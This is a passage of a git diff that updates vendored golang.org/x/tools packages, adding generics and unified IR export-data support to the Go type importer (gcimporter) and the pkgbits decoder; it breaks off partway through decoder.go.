func (p *iimporter) typAt(off uint64, base *types.Named) types.Type { - if t, ok := p.typCache[off]; ok && (base == nil || !isInterface(t)) { + if t, ok := p.typCache[off]; ok && canReuse(base, t) { return t } @@ -285,12 +354,30 @@ func (p *iimporter) typAt(off uint64, base *types.Named) types.Type { r.declReader.Reset(p.declData[off-predeclReserved:]) t := r.doType(base) - if base == nil || !isInterface(t) { + if canReuse(base, t) { p.typCache[off] = t } return t } +// canReuse reports whether the type rhs on the RHS of the declaration for def +// may be re-used. +// +// Specifically, if def is non-nil and rhs is an interface type with methods, it +// may not be re-used because we have a convention of setting the receiver type +// for interface methods to def. +func canReuse(def *types.Named, rhs types.Type) bool { + if def == nil { + return true + } + iface, _ := rhs.(*types.Interface) + if iface == nil { + return true + } + // Don't use iface.Empty() here as iface may not be complete. + return iface.NumEmbeddeds() == 0 && iface.NumExplicitMethods() == 0 +} + type importReader struct { p *iimporter declReader bytes.Reader @@ -315,17 +402,26 @@ func (r *importReader) obj(name string) { r.declare(types.NewConst(pos, r.currPkg, name, typ, val)) - case 'F': - sig := r.signature(nil) - + case 'F', 'G': + var tparams []*typeparams.TypeParam + if tag == 'G' { + tparams = r.tparamList() + } + sig := r.signature(nil, nil, tparams) r.declare(types.NewFunc(pos, r.currPkg, name, sig)) - case 'T': + case 'T', 'U': // Types can be recursive. We need to setup a stub // declaration before recursing. obj := types.NewTypeName(pos, r.currPkg, name, nil) named := types.NewNamed(obj, nil, nil) + // Declare obj before calling r.tparamList, so the new type name is recognized + // if used in the constraint of one of its own typeparams (see #48280). r.declare(obj) + if tag == 'U' { + tparams := r.tparamList() + typeparams.SetForNamed(named, tparams) + } underlying := r.p.typAt(r.uint64(), named).Underlying() named.SetUnderlying(underlying) @@ -335,12 +431,59 @@ func (r *importReader) obj(name string) { mpos := r.pos() mname := r.ident() recv := r.param() - msig := r.signature(recv) + + // If the receiver has any targs, set those as the + // rparams of the method (since those are the + // typeparams being used in the method sig/body). + base := baseType(recv.Type()) + assert(base != nil) + targs := typeparams.NamedTypeArgs(base) + var rparams []*typeparams.TypeParam + if targs.Len() > 0 { + rparams = make([]*typeparams.TypeParam, targs.Len()) + for i := range rparams { + rparams[i] = targs.At(i).(*typeparams.TypeParam) + } + } + msig := r.signature(recv, rparams, nil) named.AddMethod(types.NewFunc(mpos, r.currPkg, mname, msig)) } } + case 'P': + // We need to "declare" a typeparam in order to have a name that + // can be referenced recursively (if needed) in the type param's + // bound. + if r.p.version < iexportVersionGenerics { + errorf("unexpected type param type") + } + name0 := tparamName(name) + tn := types.NewTypeName(pos, r.currPkg, name0, nil) + t := typeparams.NewTypeParam(tn, nil) + + // To handle recursive references to the typeparam within its + // bound, save the partial type in tparamIndex before reading the bounds. + id := ident{r.currPkg, name} + r.p.tparamIndex[id] = t + var implicit bool + if r.p.version >= iexportVersionGo1_18 { + implicit = r.bool() + } + constraint := r.typ() + if implicit { + iface, _ := constraint.(*types.Interface) + if iface == nil { + errorf("non-interface constraint marked implicit") + } + typeparams.MarkImplicit(iface) + } + // The constraint type may not be complete, if we + // are in the middle of a type recursion involving type + // constraints. So, we defer SetConstraint until we have + // completely set up all types in ImportData. + r.p.later = append(r.p.later, setConstraintArgs{t: t, constraint: constraint}) + case 'V': typ := r.typ() @@ -357,6 +500,10 @@ func (r *importReader) declare(obj types.Object) { func (r *importReader) value() (typ types.Type, val constant.Value) { typ = r.typ() + if r.p.version >= iexportVersionGo1_18 { + // TODO: add support for using the kind. + _ = constant.Kind(r.int64()) + } switch b := typ.Underlying().(*types.Basic); b.Info() & types.IsConstType { case types.IsBoolean: @@ -366,7 +513,9 @@ func (r *importReader) value() (typ types.Type, val constant.Value) { val = constant.MakeString(r.string()) case types.IsInteger: - val = r.mpint(b) + var x big.Int + r.mpint(&x, b) + val = constant.Make(&x) case types.IsFloat: val = r.mpfloat(b) @@ -415,8 +564,8 @@ func intSize(b *types.Basic) (signed bool, maxBytes uint) { return } -func (r *importReader) mpint(b *types.Basic) constant.Value { - signed, maxBytes := intSize(b) +func (r *importReader) mpint(x *big.Int, typ *types.Basic) { + signed, maxBytes := intSize(typ) maxSmall := 256 - maxBytes if signed { @@ -435,7 +584,8 @@ func (r *importReader) mpint(b *types.Basic) constant.Value { v = ^v } } - return constant.MakeInt64(v) + x.SetInt64(v) + return } v := -n @@ -445,47 +595,23 @@ func (r *importReader) mpint(b *types.Basic) constant.Value { if v < 1 || uint(v) > maxBytes { errorf("weird decoding: %v, %v => %v", n, signed, v) } - - buf := make([]byte, v) - io.ReadFull(&r.declReader, buf) - - // convert to little endian - // TODO(gri) go/constant should have a more direct conversion function - // (e.g., once it supports a big.Float based implementation) - for i, j := 0, len(buf)-1; i < j; i, j = i+1, j-1 { - buf[i], buf[j] = buf[j], buf[i] - } - - x := constant.MakeFromBytes(buf) + b := make([]byte, v) + io.ReadFull(&r.declReader, b) + x.SetBytes(b) if signed && n&1 != 0 { - x = constant.UnaryOp(token.SUB, x, 0) + x.Neg(x) } - return x } -func (r *importReader) mpfloat(b *types.Basic) constant.Value { - x := r.mpint(b) - if constant.Sign(x) == 0 { - return x - } - - exp := r.int64() - switch { - case exp > 0: - x = constant.Shift(x, token.SHL, uint(exp)) - // Ensure that the imported Kind is Float, else this constant may run into - // bitsize limits on overlarge integers. Eventually we can instead adopt - // the approach of CL 288632, but that CL relies on go/constant APIs that - // were introduced in go1.13. - // - // TODO(rFindley): sync the logic here with tip Go once we no longer - // support go1.12. - x = constant.ToFloat(x) - case exp < 0: - d := constant.Shift(constant.MakeInt64(1), token.SHL, uint(-exp)) - x = constant.BinaryOp(x, token.QUO, d) +func (r *importReader) mpfloat(typ *types.Basic) constant.Value { + var mant big.Int + r.mpint(&mant, typ) + var f big.Float + f.SetInt(&mant) + if f.Sign() != 0 { + f.SetMantExp(&f, int(r.int64())) } - return x + return constant.Make(&f) } func (r *importReader) ident() string { @@ -499,7 +625,7 @@ func (r *importReader) qualifiedIdent() (*types.Package, string) { } func (r *importReader) pos() token.Pos { - if r.p.version >= 1 { + if r.p.version >= iexportVersionPosCol { r.posv1() } else { r.posv0() @@ -547,8 +673,17 @@ func isInterface(t types.Type) bool { func (r *importReader) pkg() *types.Package { return r.p.pkgAt(r.uint64()) } func (r *importReader) string() string { return r.p.stringAt(r.uint64()) } -func (r *importReader) doType(base *types.Named) types.Type { - switch k := r.kind(); k { +func (r *importReader) doType(base *types.Named) (res types.Type) { + k := r.kind() + if debug { + r.p.trace("importing type %d (base: %s)", k, base) + r.p.indent++ + defer func() { + r.p.indent-- + r.p.trace("=> %s", res) + }() + } + switch k { default: errorf("unexpected kind tag in %q: %v", r.p.ipath, k) return nil @@ -571,7 +706,7 @@ func (r *importReader) doType(base *types.Named) types.Type { return types.NewMap(r.typ(), r.typ()) case signatureType: r.currPkg = r.pkg() - return r.signature(nil) + return r.signature(nil, nil, nil) case structType: r.currPkg = r.pkg() @@ -611,13 +746,56 @@ func (r *importReader) doType(base *types.Named) types.Type { recv = types.NewVar(token.NoPos, r.currPkg, "", base) } - msig := r.signature(recv) + msig := r.signature(recv, nil, nil) methods[i] = types.NewFunc(mpos, r.currPkg, mname, msig) } typ := newInterface(methods, embeddeds) r.p.interfaceList = append(r.p.interfaceList, typ) return typ + + case typeParamType: + if r.p.version < iexportVersionGenerics { + errorf("unexpected type param type") + } + pkg, name := r.qualifiedIdent() + id := ident{pkg, name} + if t, ok := r.p.tparamIndex[id]; ok { + // We're already in the process of importing this typeparam. + return t + } + // Otherwise, import the definition of the typeparam now. + r.p.doDecl(pkg, name) + return r.p.tparamIndex[id] + + case instanceType: + if r.p.version < iexportVersionGenerics { + errorf("unexpected instantiation type") + } + // pos does not matter for instances: they are positioned on the original + // type. + _ = r.pos() + len := r.uint64() + targs := make([]types.Type, len) + for i := range targs { + targs[i] = r.typ() + } + baseType := r.typ() + // The imported instantiated type doesn't include any methods, so + // we must always use the methods of the base (orig) type. + // TODO provide a non-nil *Environment + t, _ := typeparams.Instantiate(nil, baseType, targs, false) + return t + + case unionType: + if r.p.version < iexportVersionGenerics { + errorf("unexpected instantiation type") + } + terms := make([]*typeparams.Term, r.uint64()) + for i := range terms { + terms[i] = typeparams.NewTerm(r.bool(), r.typ()) + } + return typeparams.NewUnion(terms) } } @@ -625,11 +803,25 @@ func (r *importReader) kind() itag { return itag(r.uint64()) } -func (r *importReader) signature(recv *types.Var) *types.Signature { +func (r *importReader) signature(recv *types.Var, rparams []*typeparams.TypeParam, tparams []*typeparams.TypeParam) *types.Signature { params := r.paramList() results := r.paramList() variadic := params.Len() > 0 && r.bool() - return types.NewSignature(recv, params, results, variadic) + return typeparams.NewSignatureType(recv, rparams, tparams, params, results, variadic) +} + +func (r *importReader) tparamList() []*typeparams.TypeParam { + n := r.uint64() + if n == 0 { + return nil + } + xs := make([]*typeparams.TypeParam, n) + for i := range xs { + // Note: the standard library importer is tolerant of nil types here, + // though would panic in SetTypeParams. + xs[i] = r.typ().(*typeparams.TypeParam) + } + return xs } func (r *importReader) paramList() *types.Tuple { @@ -674,3 +866,13 @@ func (r *importReader) byte() byte { } return x } + +func baseType(typ types.Type) *types.Named { + // pointer receivers are never types.Named types + if p, _ := typ.(*types.Pointer); p != nil { + typ = p.Elem() + } + // receiver base types are always (possibly generic) types.Named types + n, _ := typ.(*types.Named) + return n +} diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/support_go117.go b/vendor/golang.org/x/tools/go/internal/gcimporter/support_go117.go new file mode 100644 index 000000000..d892273ef --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/support_go117.go @@ -0,0 +1,16 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.18 +// +build !go1.18 + +package gcimporter + +import "go/types" + +const iexportVersion = iexportVersionGo1_11 + +func additionalPredeclared() []types.Type { + return nil +} diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/support_go118.go b/vendor/golang.org/x/tools/go/internal/gcimporter/support_go118.go new file mode 100644 index 000000000..a99384323 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/support_go118.go @@ -0,0 +1,23 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.18 +// +build go1.18 + +package gcimporter + +import "go/types" + +const iexportVersion = iexportVersionGenerics + +// additionalPredeclared returns additional predeclared types in go.1.18. +func additionalPredeclared() []types.Type { + return []types.Type{ + // comparable + types.Universe.Lookup("comparable").Type(), + + // any + types.Universe.Lookup("any").Type(), + } +} diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/unified_no.go b/vendor/golang.org/x/tools/go/internal/gcimporter/unified_no.go new file mode 100644 index 000000000..286bf4454 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/unified_no.go @@ -0,0 +1,10 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !(go1.18 && goexperiment.unified) +// +build !go1.18 !goexperiment.unified + +package gcimporter + +const unifiedIR = false diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/unified_yes.go b/vendor/golang.org/x/tools/go/internal/gcimporter/unified_yes.go new file mode 100644 index 000000000..b5d69ffbe --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/unified_yes.go @@ -0,0 +1,10 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.18 && goexperiment.unified +// +build go1.18,goexperiment.unified + +package gcimporter + +const unifiedIR = true diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/ureader_no.go b/vendor/golang.org/x/tools/go/internal/gcimporter/ureader_no.go new file mode 100644 index 000000000..8eb20729c --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/ureader_no.go @@ -0,0 +1,19 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.18 +// +build !go1.18 + +package gcimporter + +import ( + "fmt" + "go/token" + "go/types" +) + +func UImportData(fset *token.FileSet, imports map[string]*types.Package, data []byte, path string) (_ int, pkg *types.Package, err error) { + err = fmt.Errorf("go/tools compiled with a Go version earlier than 1.18 cannot read unified IR export data") + return +} diff --git a/vendor/golang.org/x/tools/go/internal/gcimporter/ureader_yes.go b/vendor/golang.org/x/tools/go/internal/gcimporter/ureader_yes.go new file mode 100644 index 000000000..3c1a43754 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/gcimporter/ureader_yes.go @@ -0,0 +1,612 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// Derived from go/internal/gcimporter/ureader.go + +//go:build go1.18 +// +build go1.18 + +package gcimporter + +import ( + "go/token" + "go/types" + "strings" + + "golang.org/x/tools/go/internal/pkgbits" +) + +// A pkgReader holds the shared state for reading a unified IR package +// description. +type pkgReader struct { + pkgbits.PkgDecoder + + fake fakeFileSet + + ctxt *types.Context + imports map[string]*types.Package // previously imported packages, indexed by path + + // lazily initialized arrays corresponding to the unified IR + // PosBase, Pkg, and Type sections, respectively. + posBases []string // position bases (i.e., file names) + pkgs []*types.Package + typs []types.Type + + // laterFns holds functions that need to be invoked at the end of + // import reading. + laterFns []func() +} + +// later adds a function to be invoked at the end of import reading. +func (pr *pkgReader) later(fn func()) { + pr.laterFns = append(pr.laterFns, fn) +} + +// See cmd/compile/internal/noder.derivedInfo. +type derivedInfo struct { + idx pkgbits.Index + needed bool +} + +// See cmd/compile/internal/noder.typeInfo. +type typeInfo struct { + idx pkgbits.Index + derived bool +} + +func UImportData(fset *token.FileSet, imports map[string]*types.Package, data []byte, path string) (_ int, pkg *types.Package, err error) { + s := string(data) + s = s[:strings.LastIndex(s, "\n$$\n")] + input := pkgbits.NewPkgDecoder(path, s) + pkg = readUnifiedPackage(fset, nil, imports, input) + return +} + +// readUnifiedPackage reads a package description from the given +// unified IR export data decoder. +func readUnifiedPackage(fset *token.FileSet, ctxt *types.Context, imports map[string]*types.Package, input pkgbits.PkgDecoder) *types.Package { + pr := pkgReader{ + PkgDecoder: input, + + fake: fakeFileSet{ + fset: fset, + files: make(map[string]*fileInfo), + }, + + ctxt: ctxt, + imports: imports, + + posBases: make([]string, input.NumElems(pkgbits.RelocPosBase)), + pkgs: make([]*types.Package, input.NumElems(pkgbits.RelocPkg)), + typs: make([]types.Type, input.NumElems(pkgbits.RelocType)), + } + defer pr.fake.setLines() + + r := pr.newReader(pkgbits.RelocMeta, pkgbits.PublicRootIdx, pkgbits.SyncPublic) + pkg := r.pkg() + r.Bool() // has init + + for i, n := 0, r.Len(); i < n; i++ { + // As if r.obj(), but avoiding the Scope.Lookup call, + // to avoid eager loading of imports. + r.Sync(pkgbits.SyncObject) + assert(!r.Bool()) + r.p.objIdx(r.Reloc(pkgbits.RelocObj)) + assert(r.Len() == 0) + } + + r.Sync(pkgbits.SyncEOF) + + for _, fn := range pr.laterFns { + fn() + } + + pkg.MarkComplete() + return pkg +} + +// A reader holds the state for reading a single unified IR element +// within a package. +type reader struct { + pkgbits.Decoder + + p *pkgReader + + dict *readerDict +} + +// A readerDict holds the state for type parameters that parameterize +// the current unified IR element. +type readerDict struct { + // bounds is a slice of typeInfos corresponding to the underlying + // bounds of the element's type parameters. + bounds []typeInfo + + // tparams is a slice of the constructed TypeParams for the element. + tparams []*types.TypeParam + + // devived is a slice of types derived from tparams, which may be + // instantiated while reading the current element. + derived []derivedInfo + derivedTypes []types.Type // lazily instantiated from derived +} + +func (pr *pkgReader) newReader(k pkgbits.RelocKind, idx pkgbits.Index, marker pkgbits.SyncMarker) *reader { + return &reader{ + Decoder: pr.NewDecoder(k, idx, marker), + p: pr, + } +} + +// @@@ Positions + +func (r *reader) pos() token.Pos { + r.Sync(pkgbits.SyncPos) + if !r.Bool() { + return token.NoPos + } + + // TODO(mdempsky): Delta encoding. + posBase := r.posBase() + line := r.Uint() + col := r.Uint() + return r.p.fake.pos(posBase, int(line), int(col)) +} + +func (r *reader) posBase() string { + return r.p.posBaseIdx(r.Reloc(pkgbits.RelocPosBase)) +} + +func (pr *pkgReader) posBaseIdx(idx pkgbits.Index) string { + if b := pr.posBases[idx]; b != "" { + return b + } + + r := pr.newReader(pkgbits.RelocPosBase, idx, pkgbits.SyncPosBase) + + // Within types2, position bases have a lot more details (e.g., + // keeping track of where //line directives appeared exactly). + // + // For go/types, we just track the file name. + + filename := r.String() + + if r.Bool() { // file base + // Was: "b = token.NewTrimmedFileBase(filename, true)" + } else { // line base + pos := r.pos() + line := r.Uint() + col := r.Uint() + + // Was: "b = token.NewLineBase(pos, filename, true, line, col)" + _, _, _ = pos, line, col + } + + b := filename + pr.posBases[idx] = b + return b +} + +// @@@ Packages + +func (r *reader) pkg() *types.Package { + r.Sync(pkgbits.SyncPkg) + return r.p.pkgIdx(r.Reloc(pkgbits.RelocPkg)) +} + +func (pr *pkgReader) pkgIdx(idx pkgbits.Index) *types.Package { + // TODO(mdempsky): Consider using some non-nil pointer to indicate + // the universe scope, so we don't need to keep re-reading it. + if pkg := pr.pkgs[idx]; pkg != nil { + return pkg + } + + pkg := pr.newReader(pkgbits.RelocPkg, idx, pkgbits.SyncPkgDef).doPkg() + pr.pkgs[idx] = pkg + return pkg +} + +func (r *reader) doPkg() *types.Package { + path := r.String() + switch path { + case "": + path = r.p.PkgPath() + case "builtin": + return nil // universe + case "unsafe": + return types.Unsafe + } + + if pkg := r.p.imports[path]; pkg != nil { + return pkg + } + + name := r.String() + + pkg := types.NewPackage(path, name) + r.p.imports[path] = pkg + + imports := make([]*types.Package, r.Len()) + for i := range imports { + imports[i] = r.pkg() + } + pkg.SetImports(imports) + + return pkg +} + +// @@@ Types + +func (r *reader) typ() types.Type { + return r.p.typIdx(r.typInfo(), r.dict) +} + +func (r *reader) typInfo() typeInfo { + r.Sync(pkgbits.SyncType) + if r.Bool() { + return typeInfo{idx: pkgbits.Index(r.Len()), derived: true} + } + return typeInfo{idx: r.Reloc(pkgbits.RelocType), derived: false} +} + +func (pr *pkgReader) typIdx(info typeInfo, dict *readerDict) types.Type { + idx := info.idx + var where *types.Type + if info.derived { + where = &dict.derivedTypes[idx] + idx = dict.derived[idx].idx + } else { + where = &pr.typs[idx] + } + + if typ := *where; typ != nil { + return typ + } + + r := pr.newReader(pkgbits.RelocType, idx, pkgbits.SyncTypeIdx) + r.dict = dict + + typ := r.doTyp() + assert(typ != nil) + + // See comment in pkgReader.typIdx explaining how this happens. + if prev := *where; prev != nil { + return prev + } + + *where = typ + return typ +} + +func (r *reader) doTyp() (res types.Type) { + switch tag := pkgbits.CodeType(r.Code(pkgbits.SyncType)); tag { + default: + errorf("unhandled type tag: %v", tag) + panic("unreachable") + + case pkgbits.TypeBasic: + return types.Typ[r.Len()] + + case pkgbits.TypeNamed: + obj, targs := r.obj() + name := obj.(*types.TypeName) + if len(targs) != 0 { + t, _ := types.Instantiate(r.p.ctxt, name.Type(), targs, false) + return t + } + return name.Type() + + case pkgbits.TypeTypeParam: + return r.dict.tparams[r.Len()] + + case pkgbits.TypeArray: + len := int64(r.Uint64()) + return types.NewArray(r.typ(), len) + case pkgbits.TypeChan: + dir := types.ChanDir(r.Len()) + return types.NewChan(dir, r.typ()) + case pkgbits.TypeMap: + return types.NewMap(r.typ(), r.typ()) + case pkgbits.TypePointer: + return types.NewPointer(r.typ()) + case pkgbits.TypeSignature: + return r.signature(nil, nil, nil) + case pkgbits.TypeSlice: + return types.NewSlice(r.typ()) + case pkgbits.TypeStruct: + return r.structType() + case pkgbits.TypeInterface: + return r.interfaceType() + case pkgbits.TypeUnion: + return r.unionType() + } +} + +func (r *reader) structType() *types.Struct { + fields := make([]*types.Var, r.Len()) + var tags []string + for i := range fields { + pos := r.pos() + pkg, name := r.selector() + ftyp := r.typ() + tag := r.String() + embedded := r.Bool() + + fields[i] = types.NewField(pos, pkg, name, ftyp, embedded) + if tag != "" { + for len(tags) < i { + tags = append(tags, "") + } + tags = append(tags, tag) + } + } + return types.NewStruct(fields, tags) +} + +func (r *reader) unionType() *types.Union { + terms := make([]*types.Term, r.Len()) + for i := range terms { + terms[i] = types.NewTerm(r.Bool(), r.typ()) + } + return types.NewUnion(terms) +} + +func (r *reader) interfaceType() *types.Interface { + methods := make([]*types.Func, r.Len()) + embeddeds := make([]types.Type, r.Len()) + implicit := len(methods) == 0 && len(embeddeds) == 1 && r.Bool() + + for i := range methods { + pos := r.pos() + pkg, name := r.selector() + mtyp := r.signature(nil, nil, nil) + methods[i] = types.NewFunc(pos, pkg, name, mtyp) + } + + for i := range embeddeds { + embeddeds[i] = r.typ() + } + + iface := types.NewInterfaceType(methods, embeddeds) + if implicit { + iface.MarkImplicit() + } + return iface +} + +func (r *reader) signature(recv *types.Var, rtparams, tparams []*types.TypeParam) *types.Signature { + r.Sync(pkgbits.SyncSignature) + + params := r.params() + results := r.params() + variadic := r.Bool() + + return types.NewSignatureType(recv, rtparams, tparams, params, results, variadic) +} + +func (r *reader) params() *types.Tuple { + r.Sync(pkgbits.SyncParams) + + params := make([]*types.Var, r.Len()) + for i := range params { + params[i] = r.param() + } + + return types.NewTuple(params...) +} + +func (r *reader) param() *types.Var { + r.Sync(pkgbits.SyncParam) + + pos := r.pos() + pkg, name := r.localIdent() + typ := r.typ() + + return types.NewParam(pos, pkg, name, typ) +} + +// @@@ Objects + +func (r *reader) obj() (types.Object, []types.Type) { + r.Sync(pkgbits.SyncObject) + + assert(!r.Bool()) + + pkg, name := r.p.objIdx(r.Reloc(pkgbits.RelocObj)) + obj := pkgScope(pkg).Lookup(name) + + targs := make([]types.Type, r.Len()) + for i := range targs { + targs[i] = r.typ() + } + + return obj, targs +} + +func (pr *pkgReader) objIdx(idx pkgbits.Index) (*types.Package, string) { + rname := pr.newReader(pkgbits.RelocName, idx, pkgbits.SyncObject1) + + objPkg, objName := rname.qualifiedIdent() + assert(objName != "") + + tag := pkgbits.CodeObj(rname.Code(pkgbits.SyncCodeObj)) + + if tag == pkgbits.ObjStub { + assert(objPkg == nil || objPkg == types.Unsafe) + return objPkg, objName + } + + if objPkg.Scope().Lookup(objName) == nil { + dict := pr.objDictIdx(idx) + + r := pr.newReader(pkgbits.RelocObj, idx, pkgbits.SyncObject1) + r.dict = dict + + declare := func(obj types.Object) { + objPkg.Scope().Insert(obj) + } + + switch tag { + default: + panic("weird") + + case pkgbits.ObjAlias: + pos := r.pos() + typ := r.typ() + declare(types.NewTypeName(pos, objPkg, objName, typ)) + + case pkgbits.ObjConst: + pos := r.pos() + typ := r.typ() + val := r.Value() + declare(types.NewConst(pos, objPkg, objName, typ, val)) + + case pkgbits.ObjFunc: + pos := r.pos() + tparams := r.typeParamNames() + sig := r.signature(nil, nil, tparams) + declare(types.NewFunc(pos, objPkg, objName, sig)) + + case pkgbits.ObjType: + pos := r.pos() + + obj := types.NewTypeName(pos, objPkg, objName, nil) + named := types.NewNamed(obj, nil, nil) + declare(obj) + + named.SetTypeParams(r.typeParamNames()) + + // TODO(mdempsky): Rewrite receiver types to underlying is an + // Interface? The go/types importer does this (I think because + // unit tests expected that), but cmd/compile doesn't care + // about it, so maybe we can avoid worrying about that here. + rhs := r.typ() + r.p.later(func() { + underlying := rhs.Underlying() + named.SetUnderlying(underlying) + }) + + for i, n := 0, r.Len(); i < n; i++ { + named.AddMethod(r.method()) + } + + case pkgbits.ObjVar: + pos := r.pos() + typ := r.typ() + declare(types.NewVar(pos, objPkg, objName, typ)) + } + } + + return objPkg, objName +} + +func (pr *pkgReader) objDictIdx(idx pkgbits.Index) *readerDict { + r := pr.newReader(pkgbits.RelocObjDict, idx, pkgbits.SyncObject1) + + var dict readerDict + + if implicits := r.Len(); implicits != 0 { + errorf("unexpected object with %v implicit type parameter(s)", implicits) + } + + dict.bounds = make([]typeInfo, r.Len()) + for i := range dict.bounds { + dict.bounds[i] = r.typInfo() + } + + dict.derived = make([]derivedInfo, r.Len()) + dict.derivedTypes = make([]types.Type, len(dict.derived)) + for i := range dict.derived { + dict.derived[i] = derivedInfo{r.Reloc(pkgbits.RelocType), r.Bool()} + } + + // function references follow, but reader doesn't need those + + return &dict +} + +func (r *reader) typeParamNames() []*types.TypeParam { + r.Sync(pkgbits.SyncTypeParamNames) + + // Note: This code assumes it only processes objects without + // implement type parameters. This is currently fine, because + // reader is only used to read in exported declarations, which are + // always package scoped. + + if len(r.dict.bounds) == 0 { + return nil + } + + // Careful: Type parameter lists may have cycles. To allow for this, + // we construct the type parameter list in two passes: first we + // create all the TypeNames and TypeParams, then we construct and + // set the bound type. + + r.dict.tparams = make([]*types.TypeParam, len(r.dict.bounds)) + for i := range r.dict.bounds { + pos := r.pos() + pkg, name := r.localIdent() + + tname := types.NewTypeName(pos, pkg, name, nil) + r.dict.tparams[i] = types.NewTypeParam(tname, nil) + } + + typs := make([]types.Type, len(r.dict.bounds)) + for i, bound := range r.dict.bounds { + typs[i] = r.p.typIdx(bound, r.dict) + } + + // TODO(mdempsky): This is subtle, elaborate further. + // + // We have to save tparams outside of the closure, because + // typeParamNames() can be called multiple times with the same + // dictionary instance. + // + // Also, this needs to happen later to make sure SetUnderlying has + // been called. + // + // TODO(mdempsky): Is it safe to have a single "later" slice or do + // we need to have multiple passes? See comments on CL 386002 and + // go.dev/issue/52104. + tparams := r.dict.tparams + r.p.later(func() { + for i, typ := range typs { + tparams[i].SetConstraint(typ) + } + }) + + return r.dict.tparams +} + +func (r *reader) method() *types.Func { + r.Sync(pkgbits.SyncMethod) + pos := r.pos() + pkg, name := r.selector() + + rparams := r.typeParamNames() + sig := r.signature(r.param(), rparams, nil) + + _ = r.pos() // TODO(mdempsky): Remove; this is a hacker for linker.go. + return types.NewFunc(pos, pkg, name, sig) +} + +func (r *reader) qualifiedIdent() (*types.Package, string) { return r.ident(pkgbits.SyncSym) } +func (r *reader) localIdent() (*types.Package, string) { return r.ident(pkgbits.SyncLocalIdent) } +func (r *reader) selector() (*types.Package, string) { return r.ident(pkgbits.SyncSelector) } + +func (r *reader) ident(marker pkgbits.SyncMarker) (*types.Package, string) { + r.Sync(marker) + return r.pkg(), r.String() +} + +// pkgScope returns pkg.Scope(). +// If pkg is nil, it returns types.Universe instead. +// +// TODO(mdempsky): Remove after x/tools can depend on Go 1.19. +func pkgScope(pkg *types.Package) *types.Scope { + if pkg != nil { + return pkg.Scope() + } + return types.Universe +} diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/codes.go b/vendor/golang.org/x/tools/go/internal/pkgbits/codes.go new file mode 100644 index 000000000..f0cabde96 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/codes.go @@ -0,0 +1,77 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package pkgbits + +// A Code is an enum value that can be encoded into bitstreams. +// +// Code types are preferable for enum types, because they allow +// Decoder to detect desyncs. +type Code interface { + // Marker returns the SyncMarker for the Code's dynamic type. + Marker() SyncMarker + + // Value returns the Code's ordinal value. + Value() int +} + +// A CodeVal distinguishes among go/constant.Value encodings. +type CodeVal int + +func (c CodeVal) Marker() SyncMarker { return SyncVal } +func (c CodeVal) Value() int { return int(c) } + +// Note: These values are public and cannot be changed without +// updating the go/types importers. + +const ( + ValBool CodeVal = iota + ValString + ValInt64 + ValBigInt + ValBigRat + ValBigFloat +) + +// A CodeType distinguishes among go/types.Type encodings. +type CodeType int + +func (c CodeType) Marker() SyncMarker { return SyncType } +func (c CodeType) Value() int { return int(c) } + +// Note: These values are public and cannot be changed without +// updating the go/types importers. + +const ( + TypeBasic CodeType = iota + TypeNamed + TypePointer + TypeSlice + TypeArray + TypeChan + TypeMap + TypeSignature + TypeStruct + TypeInterface + TypeUnion + TypeTypeParam +) + +// A CodeObj distinguishes among go/types.Object encodings. +type CodeObj int + +func (c CodeObj) Marker() SyncMarker { return SyncCodeObj } +func (c CodeObj) Value() int { return int(c) } + +// Note: These values are public and cannot be changed without +// updating the go/types importers. + +const ( + ObjAlias CodeObj = iota + ObjConst + ObjType + ObjFunc + ObjVar + ObjStub +) diff --git a/vendor/golang.org/x/tools/go/internal/pkgbits/decoder.go b/vendor/golang.org/x/tools/go/internal/pkgbits/decoder.go new file mode 100644 index 000000000..2bc793668 --- /dev/null +++ b/vendor/golang.org/x/tools/go/internal/pkgbits/decoder.go @@ -0,0 +1,433 @@ +// Copyright 2021 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package pkgbits + +import ( + "encoding/binary" + "fmt" + "go/constant" + "go/token" + "math/big" + "os" + "runtime" + "strings" +) + +// A PkgDecoder provides methods for decoding a package's Unified IR +// export data. +type PkgDecoder struct { + // version is the file format version. + version uint32 + + // sync indicates whether the file uses sync markers. + sync bool + + // pkgPath is the package path for the package to be decoded. + // + // TODO(mdempsky): Remove; unneeded since CL 391014. + pkgPath string + + // elemData is the full data payload of the encoded package. + // Elements are densely and contiguously packed together. + // + // The last 8 bytes of elemData are the package fingerprint. + elemData string + + // elemEnds stores the byte-offset end positions of element + // bitstreams within elemData. + // + // For example, element I's bitstream data starts at elemEnds[I-1] + // (or 0, if I==0) and ends at elemEnds[I]. + // + // Note: elemEnds is indexed by absolute indices, not + // section-relative indices. + elemEnds []uint32 + + // elemEndsEnds stores the index-offset end positions of relocation + // sections within elemEnds. + // + // For example, section K's end positions start at elemEndsEnds[K-1] + // (or 0, if K==0) and end at elemEndsEnds[K]. + elemEndsEnds 